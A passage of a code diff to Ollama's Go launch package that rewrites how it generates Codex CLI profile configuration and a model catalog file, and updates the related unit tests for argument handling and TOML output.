fmt.Sprintf("base_url = %q", baseURL),
|
||||
},
|
||||
},
|
||||
{[]string{"model_providers", profileName, "name"}, codexProviderName},
|
||||
{[]string{"model_providers", profileName, "base_url"}, baseURL},
|
||||
{[]string{"model_providers", profileName, "wire_api"}, "responses"},
|
||||
} {
|
||||
if got, ok := config.String(check.path...); !ok || got != check.want {
|
||||
return fmt.Errorf("generated Codex config missing %s = %q", strings.Join(check.path, "."), check.want)
|
||||
}
|
||||
}
|
||||
|
||||
content, readErr := os.ReadFile(configPath)
|
||||
text := ""
|
||||
if readErr == nil {
|
||||
text = string(content)
|
||||
if got, ok := config.RootStringOK(codexRootProfileKey); ok {
|
||||
return fmt.Errorf("generated Codex config still contains legacy profile = %q", got)
|
||||
}
|
||||
if got := config.RootString(codexRootModelProviderKey); got != profileName {
|
||||
return fmt.Errorf("generated Codex config missing model_provider = %q", profileName)
|
||||
}
|
||||
if model != "" {
|
||||
if got := config.RootString(codexRootModelKey); got != model {
|
||||
return fmt.Errorf("generated Codex config missing model = %q", model)
|
||||
}
|
||||
}
|
||||
if modelCatalogPath != "" {
|
||||
if got := config.RootString(codexRootModelCatalogJSONKey); got != modelCatalogPath {
|
||||
return fmt.Errorf("generated Codex config missing model_catalog_json = %q", modelCatalogPath)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
for _, s := range sections {
|
||||
block := strings.Join(append([]string{s.header}, s.lines...), "\n") + "\n"
|
||||
func codexUpsertSection(text, header string, lines []string) string {
|
||||
block := strings.Join(append([]string{header}, lines...), "\n") + "\n"
|
||||
|
||||
if idx := strings.Index(text, s.header); idx >= 0 {
|
||||
// Replace the existing section up to the next section header.
|
||||
rest := text[idx+len(s.header):]
|
||||
if endIdx := strings.Index(rest, "\n["); endIdx >= 0 {
|
||||
text = text[:idx] + block + rest[endIdx+1:]
|
||||
} else {
|
||||
text = text[:idx] + block
|
||||
}
|
||||
} else {
|
||||
// Append the section.
|
||||
if text != "" && !strings.HasSuffix(text, "\n") {
|
||||
text += "\n"
|
||||
}
|
||||
if text != "" {
|
||||
text += "\n"
|
||||
}
|
||||
text += block
|
||||
if targetPath, ok := codexTableHeaderPath(header); ok {
|
||||
if start, end, found := codexSectionRange(text, targetPath); found {
|
||||
return text[:start] + block + text[end:]
|
||||
}
|
||||
}
|
||||
|
||||
return os.WriteFile(configPath, []byte(text), 0o644)
|
||||
if text != "" && !strings.HasSuffix(text, "\n") {
|
||||
text += "\n"
|
||||
}
|
||||
if text != "" {
|
||||
text += "\n"
|
||||
}
|
||||
return text + block
|
||||
}
|
||||
|
||||
func codexRemoveSection(text, header string) string {
|
||||
targetPath, ok := codexTableHeaderPath(header)
|
||||
if !ok {
|
||||
return text
|
||||
}
|
||||
start, end, found := codexSectionRange(text, targetPath)
|
||||
if !found {
|
||||
return text
|
||||
}
|
||||
return text[:start] + text[end:]
|
||||
}
|
||||
|
||||
type codexParsedConfig struct {
|
||||
values map[string]any
|
||||
}
|
||||
|
||||
func (c codexParsedConfig) String(path ...string) (string, bool) {
|
||||
if len(path) == 0 {
|
||||
return "", false
|
||||
}
|
||||
var current any = c.values
|
||||
for _, part := range path {
|
||||
table, ok := current.(map[string]any)
|
||||
if !ok {
|
||||
return "", false
|
||||
}
|
||||
current, ok = table[part]
|
||||
if !ok {
|
||||
return "", false
|
||||
}
|
||||
}
|
||||
value, ok := current.(string)
|
||||
if !ok {
|
||||
return "", false
|
||||
}
|
||||
return value, true
|
||||
}
|
||||
|
||||
func (c codexParsedConfig) Exists(path ...string) bool {
|
||||
if len(path) == 0 {
|
||||
return false
|
||||
}
|
||||
var current any = c.values
|
||||
for _, part := range path {
|
||||
table, ok := current.(map[string]any)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
current, ok = table[part]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (c codexParsedConfig) RootString(key string) string {
|
||||
value, _ := c.RootStringOK(key)
|
||||
return value
|
||||
}
|
||||
|
||||
func (c codexParsedConfig) RootStringOK(key string) (string, bool) {
|
||||
return c.String(key)
|
||||
}
|
||||
|
||||
func (c codexParsedConfig) ProfileString(profileName, key string) string {
|
||||
value, _ := c.String("profiles", profileName, key)
|
||||
return value
|
||||
}
|
||||
|
||||
func (c codexParsedConfig) ProviderString(profileName, key string) string {
|
||||
value, _ := c.String("model_providers", profileName, key)
|
||||
return value
|
||||
}
|
||||
|
||||
func codexRootStringValue(text, key string) string {
|
||||
config, err := codexParseConfig(text)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return config.RootString(key)
|
||||
}
|
||||
|
||||
func codexRootStringValueOK(text, key string) (string, bool) {
|
||||
config, err := codexParseConfig(text)
|
||||
if err != nil {
|
||||
return "", false
|
||||
}
|
||||
return config.RootStringOK(key)
|
||||
}
|
||||
|
||||
func codexStringValue(text string, path ...string) (string, bool) {
|
||||
config, err := codexParseConfig(text)
|
||||
if err != nil {
|
||||
return "", false
|
||||
}
|
||||
return config.String(path...)
|
||||
}
|
||||
|
||||
func codexSectionStringValue(text, header, key string) string {
|
||||
path, ok := codexTableHeaderPath(header)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
value, _ := codexStringValue(text, append(path, key)...)
|
||||
return value
|
||||
}
|
||||
|
||||
func codexParseConfig(text string) (codexParsedConfig, error) {
|
||||
values, err := codexParseConfigText(text)
|
||||
if err != nil {
|
||||
return codexParsedConfig{}, err
|
||||
}
|
||||
return codexParsedConfig{values: values}, nil
|
||||
}
|
||||
|
||||
func codexParseConfigText(text string) (map[string]any, error) {
|
||||
cfg := map[string]any{}
|
||||
if strings.TrimSpace(text) == "" {
|
||||
return cfg, nil
|
||||
}
|
||||
if err := toml.Unmarshal([]byte(text), &cfg); err != nil {
|
||||
return nil, fmt.Errorf("invalid Codex config TOML: %w", err)
|
||||
}
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
func codexValidateConfigText(text string) error {
|
||||
_, err := codexParseConfig(text)
|
||||
return err
|
||||
}
|
||||
|
||||
func codexSectionRange(text string, targetPath []string) (int, int, bool) {
|
||||
lines := strings.SplitAfter(text, "\n")
|
||||
offset := 0
|
||||
start := -1
|
||||
for _, line := range lines {
|
||||
trimmed := strings.TrimSpace(line)
|
||||
if !strings.HasPrefix(trimmed, "[") || strings.HasPrefix(trimmed, "#") {
|
||||
offset += len(line)
|
||||
continue
|
||||
}
|
||||
if start >= 0 {
|
||||
return start, offset, true
|
||||
}
|
||||
if path, ok := codexTableHeaderPath(trimmed); ok && codexSamePath(path, targetPath) {
|
||||
start = offset
|
||||
}
|
||||
offset += len(line)
|
||||
}
|
||||
if start >= 0 {
|
||||
return start, len(text), true
|
||||
}
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
func codexTableHeaderPath(header string) ([]string, bool) {
|
||||
trimmed := strings.TrimSpace(header)
|
||||
if !strings.HasPrefix(trimmed, "[") || strings.HasPrefix(trimmed, "[[") {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
const probeKey = "__ollama_launch_probe"
|
||||
cfg := map[string]any{}
|
||||
if err := toml.Unmarshal([]byte(trimmed+"\n"+probeKey+" = true\n"), &cfg); err != nil {
|
||||
return nil, false
|
||||
}
|
||||
return codexFindProbePath(cfg, probeKey, nil)
|
||||
}
|
||||
|
||||
func codexFindProbePath(value any, probeKey string, path []string) ([]string, bool) {
|
||||
table, ok := value.(map[string]any)
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
if probe, ok := table[probeKey].(bool); ok && probe {
|
||||
return path, true
|
||||
}
|
||||
for key, child := range table {
|
||||
if key == probeKey {
|
||||
continue
|
||||
}
|
||||
if childPath, ok := codexFindProbePath(child, probeKey, append(path, key)); ok {
|
||||
return childPath, true
|
||||
}
|
||||
}
|
||||
return nil, false
|
||||
}
|
||||
|
||||
func codexSamePath(a, b []string) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i := range a {
|
||||
if a[i] != b[i] {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func codexSetRootStringValue(text, key, value string) string {
|
||||
lines := strings.SplitAfter(text, "\n")
|
||||
rootEnd := len(lines)
|
||||
for i, line := range lines {
|
||||
if strings.HasPrefix(strings.TrimSpace(line), "[") {
|
||||
rootEnd = i
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
assignment := fmt.Sprintf("%s = %q", key, value)
|
||||
for i := range rootEnd {
|
||||
line := lines[i]
|
||||
trimmed := strings.TrimSpace(line)
|
||||
if trimmed == "" || strings.HasPrefix(trimmed, "#") {
|
||||
continue
|
||||
}
|
||||
if codexRootLineHasKey(trimmed, key) {
|
||||
if strings.HasSuffix(line, "\n") {
|
||||
lines[i] = assignment + "\n"
|
||||
} else {
|
||||
lines[i] = assignment
|
||||
}
|
||||
return strings.Join(lines, "")
|
||||
}
|
||||
}
|
||||
|
||||
insert := assignment + "\n"
|
||||
root := strings.Join(lines[:rootEnd], "")
|
||||
rest := strings.Join(lines[rootEnd:], "")
|
||||
if root != "" && !strings.HasSuffix(root, "\n") {
|
||||
root += "\n"
|
||||
}
|
||||
if rest != "" && !strings.HasSuffix(insert, "\n\n") {
|
||||
insert += "\n"
|
||||
}
|
||||
return root + insert + rest
|
||||
}
|
||||
|
||||
func codexRemoveRootValue(text, key string) string {
|
||||
lines := strings.SplitAfter(text, "\n")
|
||||
rootEnd := len(lines)
|
||||
for i, line := range lines {
|
||||
if strings.HasPrefix(strings.TrimSpace(line), "[") {
|
||||
rootEnd = i
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
out := make([]string, 0, len(lines))
|
||||
for i, line := range lines {
|
||||
if i < rootEnd {
|
||||
trimmed := strings.TrimSpace(line)
|
||||
if trimmed != "" && !strings.HasPrefix(trimmed, "#") && codexRootLineHasKey(trimmed, key) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
out = append(out, line)
|
||||
}
|
||||
return strings.Join(out, "")
|
||||
}
|
||||
|
||||
func codexRootLineHasKey(line, key string) bool {
|
||||
cfg := map[string]any{}
|
||||
if err := toml.Unmarshal([]byte(line+"\n"), &cfg); err != nil {
|
||||
return false
|
||||
}
|
||||
_, ok := cfg[key]
|
||||
return ok
|
||||
}
|
||||
|
||||
func codexCatalogModel(modelName string, models []LaunchModel) LaunchModel {
|
||||
if model, ok := findLaunchModel(models, modelName); ok {
|
||||
model.Name = modelName
|
||||
return model.WithCloudLimits()
|
||||
}
|
||||
return fallbackLaunchModel(modelName)
|
||||
}
|
||||
|
||||
func writeCodexModelCatalog(catalogPath string, model LaunchModel) error {
|
||||
entry := buildCodexModelEntry(model)
|
||||
|
||||
catalog := map[string]any{
|
||||
"models": []any{entry},
|
||||
}
|
||||
|
||||
data, err := json.MarshalIndent(catalog, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return os.WriteFile(catalogPath, data, 0o644)
|
||||
}
|
||||
|
||||
func buildCodexModelEntry(launchModel LaunchModel) map[string]any {
|
||||
modelName := launchModel.Name
|
||||
contextWindow := codexFallbackContextWindow
|
||||
systemPrompt := ""
|
||||
|
||||
if launchModel.ContextLength > 0 {
|
||||
contextWindow = launchModel.ContextLength
|
||||
} else if launchModel.Details.ContextLength > 0 {
|
||||
contextWindow = launchModel.Details.ContextLength
|
||||
}
|
||||
if l, ok := lookupCloudModelLimit(modelName); ok {
|
||||
contextWindow = l.Context
|
||||
}
|
||||
|
||||
if !isCloudModelName(modelName) && launchModel.Details.Format != "safetensors" {
|
||||
if ctxLen := envconfig.ContextLength(); ctxLen > 0 {
|
||||
contextWindow = int(ctxLen)
|
||||
}
|
||||
}
|
||||
|
||||
modalities := []string{"text"}
|
||||
if launchModel.HasCapability(model.CapabilityVision) {
|
||||
modalities = append(modalities, "image")
|
||||
}
|
||||
|
||||
truncationMode := "bytes"
|
||||
if isCloudModelName(modelName) {
|
||||
truncationMode = "tokens"
|
||||
}
|
||||
|
||||
return map[string]any{
|
||||
"slug": modelName,
|
||||
"display_name": modelName,
|
||||
"context_window": contextWindow,
|
||||
"shell_type": "default",
|
||||
"visibility": "list",
|
||||
"supported_in_api": true,
|
||||
"priority": 0,
|
||||
"truncation_policy": map[string]any{"mode": truncationMode, "limit": 10000},
|
||||
"input_modalities": modalities,
|
||||
"base_instructions": systemPrompt,
|
||||
"support_verbosity": true,
|
||||
"default_verbosity": "low",
|
||||
"supports_parallel_tool_calls": false,
|
||||
"supports_reasoning_summaries": false,
|
||||
"supported_reasoning_levels": []any{},
|
||||
"experimental_supported_tools": []any{},
|
||||
}
|
||||
}
|
||||
|
||||
func checkCodexVersion() error {
|
||||
@@ -138,10 +769,10 @@ func checkCodexVersion() error {
|
||||
}
|
||||
|
||||
version := "v" + fields[len(fields)-1]
|
||||
minVersion := "v0.81.0"
|
||||
minVersion := "v0.134.0"
|
||||
|
||||
if semver.Compare(version, minVersion) < 0 {
|
||||
return fmt.Errorf("codex version %s is too old, minimum required is %s, update with: npm update -g @openai/codex", fields[len(fields)-1], "0.81.0")
|
||||
return fmt.Errorf("codex version %s is too old, minimum required is %s, update with: npm update -g @openai/codex", fields[len(fields)-1], "0.134.0")
|
||||
}
|
||||
|
||||
return nil
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
+618
-124
@@ -1,15 +1,44 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
modelpkg "github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
func TestCodexIntegration(t *testing.T) {
|
||||
c := &Codex{}
|
||||
|
||||
t.Run("implements runner", func(t *testing.T) {
|
||||
var _ Runner = c
|
||||
})
|
||||
t.Run("implements restore", func(t *testing.T) {
|
||||
var _ RestorableIntegration = c
|
||||
var _ RestoreSuccessIntegration = c
|
||||
var _ RestoreInstallCheckSkipper = c
|
||||
})
|
||||
}
|
||||
|
||||
func TestCodexArgs(t *testing.T) {
|
||||
c := &Codex{}
|
||||
catalogPath := filepath.Join("tmp", "model.json")
|
||||
managedArgs := []string{
|
||||
"--profile", "ollama-launch",
|
||||
"-c", fmt.Sprintf("%s=%q", codexRootModelProviderKey, codexProfileName),
|
||||
"-c", fmt.Sprintf("model_providers.%s.name=%q", codexProfileName, codexProviderName),
|
||||
"-c", fmt.Sprintf("model_providers.%s.base_url=%q", codexProfileName, codexBaseURL()),
|
||||
"-c", fmt.Sprintf("model_providers.%s.wire_api=%q", codexProfileName, "responses"),
|
||||
"-c", fmt.Sprintf("%s=%q", codexRootModelCatalogJSONKey, catalogPath),
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
@@ -17,15 +46,17 @@ func TestCodexArgs(t *testing.T) {
|
||||
args []string
|
||||
want []string
|
||||
}{
|
||||
{"with model", "llama3.2", nil, []string{"--profile", "ollama-launch", "-m", "llama3.2"}},
|
||||
{"empty model", "", nil, []string{"--profile", "ollama-launch"}},
|
||||
{"with model and extra args", "qwen3.5", []string{"-p", "myprofile"}, []string{"--profile", "ollama-launch", "-m", "qwen3.5", "-p", "myprofile"}},
|
||||
{"with sandbox flag", "llama3.2", []string{"--sandbox", "workspace-write"}, []string{"--profile", "ollama-launch", "-m", "llama3.2", "--sandbox", "workspace-write"}},
|
||||
{"with model", "llama3.2", nil, append(slices.Clone(managedArgs), "-m", "llama3.2")},
|
||||
{"empty model", "", nil, managedArgs},
|
||||
{"with sandbox flag", "llama3.2", []string{"--sandbox", "workspace-write"}, append(append(slices.Clone(managedArgs), "-m", "llama3.2"), "--sandbox", "workspace-write")},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := c.args(tt.model, tt.args)
|
||||
got, err := c.args(tt.model, catalogPath, tt.args)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !slices.Equal(got, tt.want) {
|
||||
t.Errorf("args(%q, %v) = %v, want %v", tt.model, tt.args, got, tt.want)
|
||||
}
|
||||
@@ -33,174 +64,222 @@ func TestCodexArgs(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteCodexProfile(t *testing.T) {
|
||||
func TestCodexArgsRejectManagedProfile(t *testing.T) {
|
||||
c := &Codex{}
|
||||
for _, extra := range [][]string{
|
||||
{"-p", "myprofile"},
|
||||
{"-pmyprofile"},
|
||||
{"--profile", "myprofile"},
|
||||
{"--profile=myprofile"},
|
||||
} {
|
||||
t.Run(strings.Join(extra, " "), func(t *testing.T) {
|
||||
_, err := c.args("llama3.2", "", extra)
|
||||
if err == nil || !strings.Contains(err.Error(), "manages --profile") {
|
||||
t.Fatalf("args error = %v, want profile conflict", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCodexArgsRejectManagedOverrides(t *testing.T) {
|
||||
c := &Codex{}
|
||||
for _, extra := range [][]string{
|
||||
{"-m", "other"},
|
||||
{"-mother"},
|
||||
{"--model", "other"},
|
||||
{"--model=other"},
|
||||
{"-c", `model_catalog_json="/tmp/other.json"`},
|
||||
{"--config", `model_provider="openai"`},
|
||||
{"--config=model_providers.ollama-launch.base_url=\"http://other.invalid/v1/\""},
|
||||
} {
|
||||
t.Run(strings.Join(extra, " "), func(t *testing.T) {
|
||||
_, err := c.args("llama3.2", "", extra)
|
||||
if err == nil {
|
||||
t.Fatalf("args error = nil, want managed config conflict")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteCodexProfileConfig(t *testing.T) {
|
||||
t.Run("creates new file when none exists", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
profilePath := filepath.Join(tmpDir, "ollama-launch.config.toml")
|
||||
catalogPath := filepath.Join(tmpDir, "model.json")
|
||||
|
||||
if err := writeCodexProfile(configPath); err != nil {
|
||||
if err := writeCodexProfileConfig(profilePath, "llama3.2", catalogPath); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
data, err := os.ReadFile(profilePath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
content := string(data)
|
||||
if !strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Error("missing [profiles.ollama-launch] header")
|
||||
for _, want := range []string{
|
||||
`model = "llama3.2"`,
|
||||
`model_provider = "ollama-launch"`,
|
||||
fmt.Sprintf("model_catalog_json = %q", catalogPath),
|
||||
"[model_providers.ollama-launch]",
|
||||
`name = "Ollama"`,
|
||||
`base_url = "http://127.0.0.1:11434/v1/"`,
|
||||
`wire_api = "responses"`,
|
||||
} {
|
||||
if !strings.Contains(content, want) {
|
||||
t.Errorf("missing %q in:\n%s", want, content)
|
||||
}
|
||||
}
|
||||
if !strings.Contains(content, "openai_base_url") {
|
||||
t.Error("missing openai_base_url key")
|
||||
if got, ok := codexRootStringValueOK(content, "profile"); ok {
|
||||
t.Fatalf("legacy root profile should not be generated, got %q in:\n%s", got, content)
|
||||
}
|
||||
if !strings.Contains(content, "/v1/") {
|
||||
t.Error("missing /v1/ suffix in base URL")
|
||||
if strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Fatalf("legacy profile section should not be generated, got:\n%s", content)
|
||||
}
|
||||
if !strings.Contains(content, `forced_login_method = "api"`) {
|
||||
t.Error("missing forced_login_method key")
|
||||
}
|
||||
if !strings.Contains(content, `model_provider = "ollama-launch"`) {
|
||||
t.Error("missing model_provider key")
|
||||
}
|
||||
if !strings.Contains(content, "[model_providers.ollama-launch]") {
|
||||
t.Error("missing [model_providers.ollama-launch] section")
|
||||
}
|
||||
if !strings.Contains(content, `name = "Ollama"`) {
|
||||
t.Error("missing model provider name")
|
||||
if err := codexValidateConfigText(content); err != nil {
|
||||
t.Fatalf("generated config should be valid TOML: %v\n%s", err, content)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("appends profile to existing file without profile", func(t *testing.T) {
|
||||
t.Run("overwrites owned profile and backs up previous profile", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
existing := "[some_other_section]\nkey = \"value\"\n"
|
||||
os.WriteFile(configPath, []byte(existing), 0o644)
|
||||
|
||||
if err := writeCodexProfile(configPath); err != nil {
|
||||
setTestHome(t, tmpDir)
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(profilePath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
existing := "# original-codex-profile-backup-marker\nmodel = \"old\"\nmodel_provider = \"old-provider\"\n"
|
||||
if err := os.WriteFile(profilePath, []byte(existing), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
content := string(data)
|
||||
|
||||
if !strings.Contains(content, "[some_other_section]") {
|
||||
t.Error("existing section was removed")
|
||||
}
|
||||
if !strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Error("missing [profiles.ollama-launch] header")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("replaces existing profile section", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
existing := "[profiles.ollama-launch]\nopenai_base_url = \"http://old:1234/v1/\"\n\n[model_providers.ollama-launch]\nname = \"Ollama\"\nbase_url = \"http://old:1234/v1/\"\n"
|
||||
os.WriteFile(configPath, []byte(existing), 0o644)
|
||||
|
||||
if err := writeCodexProfile(configPath); err != nil {
|
||||
if err := writeCodexProfileConfig(profilePath, "llama3.2", ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
data, _ := os.ReadFile(profilePath)
|
||||
content := string(data)
|
||||
|
||||
if strings.Contains(content, "old:1234") {
|
||||
t.Error("old URL was not replaced")
|
||||
}
|
||||
if strings.Count(content, "[profiles.ollama-launch]") != 1 {
|
||||
t.Errorf("expected exactly one [profiles.ollama-launch] section, got %d", strings.Count(content, "[profiles.ollama-launch]"))
|
||||
}
|
||||
if strings.Count(content, "[model_providers.ollama-launch]") != 1 {
|
||||
t.Errorf("expected exactly one [model_providers.ollama-launch] section, got %d", strings.Count(content, "[model_providers.ollama-launch]"))
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("replaces profile while preserving following sections", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
existing := "[profiles.ollama-launch]\nopenai_base_url = \"http://old:1234/v1/\"\n[another_section]\nfoo = \"bar\"\n"
|
||||
os.WriteFile(configPath, []byte(existing), 0o644)
|
||||
|
||||
if err := writeCodexProfile(configPath); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
content := string(data)
|
||||
|
||||
if strings.Contains(content, "old:1234") {
|
||||
t.Error("old URL was not replaced")
|
||||
}
|
||||
if !strings.Contains(content, "[another_section]") {
|
||||
t.Error("following section was removed")
|
||||
}
|
||||
if !strings.Contains(content, "foo = \"bar\"") {
|
||||
t.Error("following section content was removed")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("appends newline to file not ending with newline", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
existing := "[other]\nkey = \"val\""
|
||||
os.WriteFile(configPath, []byte(existing), 0o644)
|
||||
|
||||
if err := writeCodexProfile(configPath); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
content := string(data)
|
||||
|
||||
if !strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Error("missing [profiles.ollama-launch] header")
|
||||
}
|
||||
// Should not have double blank lines from missing trailing newline
|
||||
if strings.Contains(content, "\n\n\n") {
|
||||
t.Error("unexpected triple newline in output")
|
||||
if strings.Contains(content, "old-provider") {
|
||||
t.Fatalf("profile should be replaced, got:\n%s", content)
|
||||
}
|
||||
assertBackupContains(t, filepath.Join(fileutil.BackupDir(), "ollama-launch.config.toml.*"), "original-codex-profile-backup-marker")
|
||||
})
|
||||
|
||||
t.Run("uses custom OLLAMA_HOST", func(t *testing.T) {
|
||||
t.Setenv("OLLAMA_HOST", "http://myhost:9999")
|
||||
tmpDir := t.TempDir()
|
||||
configPath := filepath.Join(tmpDir, "config.toml")
|
||||
profilePath := filepath.Join(tmpDir, "ollama-launch.config.toml")
|
||||
|
||||
if err := writeCodexProfile(configPath); err != nil {
|
||||
if err := writeCodexProfileConfig(profilePath, "llama3.2", ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(configPath)
|
||||
data, _ := os.ReadFile(profilePath)
|
||||
content := string(data)
|
||||
|
||||
if !strings.Contains(content, "myhost:9999/v1/") {
|
||||
t.Errorf("expected custom host in URL, got:\n%s", content)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("uses connectable host for unspecified bind address", func(t *testing.T) {
|
||||
t.Setenv("OLLAMA_HOST", "http://0.0.0.0:11434")
|
||||
tmpDir := t.TempDir()
|
||||
profilePath := filepath.Join(tmpDir, "ollama-launch.config.toml")
|
||||
|
||||
if err := writeCodexProfileConfig(profilePath, "", ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, _ := os.ReadFile(profilePath)
|
||||
content := string(data)
|
||||
|
||||
if strings.Contains(content, "0.0.0.0") {
|
||||
t.Fatalf("config should not write bind-only host, got:\n%s", content)
|
||||
}
|
||||
if !strings.Contains(content, "127.0.0.1:11434/v1/") {
|
||||
t.Fatalf("expected connectable loopback URL, got:\n%s", content)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestEnsureCodexConfig(t *testing.T) {
|
||||
t.Run("creates .codex dir and config.toml", func(t *testing.T) {
|
||||
t.Run("creates .codex dir, profile config, and model catalog", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
if err := ensureCodexConfig(); err != nil {
|
||||
if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("config.toml not created: %v", err)
|
||||
if _, err := os.Stat(configPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("root config.toml should not be created by CLI config refresh, err=%v", err)
|
||||
}
|
||||
|
||||
content := string(data)
|
||||
if !strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Error("missing [profiles.ollama-launch] header")
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
data, err := os.ReadFile(profilePath)
|
||||
if err != nil {
|
||||
t.Fatalf("profile config not created: %v", err)
|
||||
}
|
||||
if !strings.Contains(content, "openai_base_url") {
|
||||
t.Error("missing openai_base_url key")
|
||||
content := string(data)
|
||||
if strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Fatalf("legacy profile section should not be generated, got:\n%s", content)
|
||||
}
|
||||
if got := codexRootStringValue(content, "model"); got != "llama3.2" {
|
||||
t.Fatalf("profile model = %q, want llama3.2 in:\n%s", got, content)
|
||||
}
|
||||
if got := codexRootStringValue(content, "model_provider"); got != codexProfileName {
|
||||
t.Fatalf("profile model_provider = %q, want %q in:\n%s", got, codexProfileName, content)
|
||||
}
|
||||
catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
|
||||
if got := codexRootStringValue(content, "model_catalog_json"); got != catalogPath {
|
||||
t.Fatalf("profile model_catalog_json = %q, want %q in:\n%s", got, catalogPath, content)
|
||||
}
|
||||
if got := codexSectionStringValue(content, codexProviderHeader(), "base_url"); !strings.Contains(got, "/v1/") {
|
||||
t.Fatalf("provider base_url = %q, want /v1/ URL", got)
|
||||
}
|
||||
|
||||
data, err = os.ReadFile(catalogPath)
|
||||
if err != nil {
|
||||
t.Fatalf("model.json not created: %v", err)
|
||||
}
|
||||
if !strings.Contains(string(data), `"slug": "llama3.2"`) {
|
||||
t.Error("missing model catalog entry for selected model")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("writes requested local alias as catalog slug", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
models := []LaunchModel{
|
||||
{Name: "gemma4:latest", ContextLength: 65_536, Details: api.ModelDetails{Format: "gguf"}},
|
||||
}
|
||||
if err := ensureCodexConfig("gemma4", models); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
|
||||
data, err := os.ReadFile(catalogPath)
|
||||
if err != nil {
|
||||
t.Fatalf("model.json not created: %v", err)
|
||||
}
|
||||
|
||||
var catalog struct {
|
||||
Models []map[string]any `json:"models"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &catalog); err != nil {
|
||||
t.Fatalf("model catalog should be valid JSON: %v", err)
|
||||
}
|
||||
if len(catalog.Models) != 1 {
|
||||
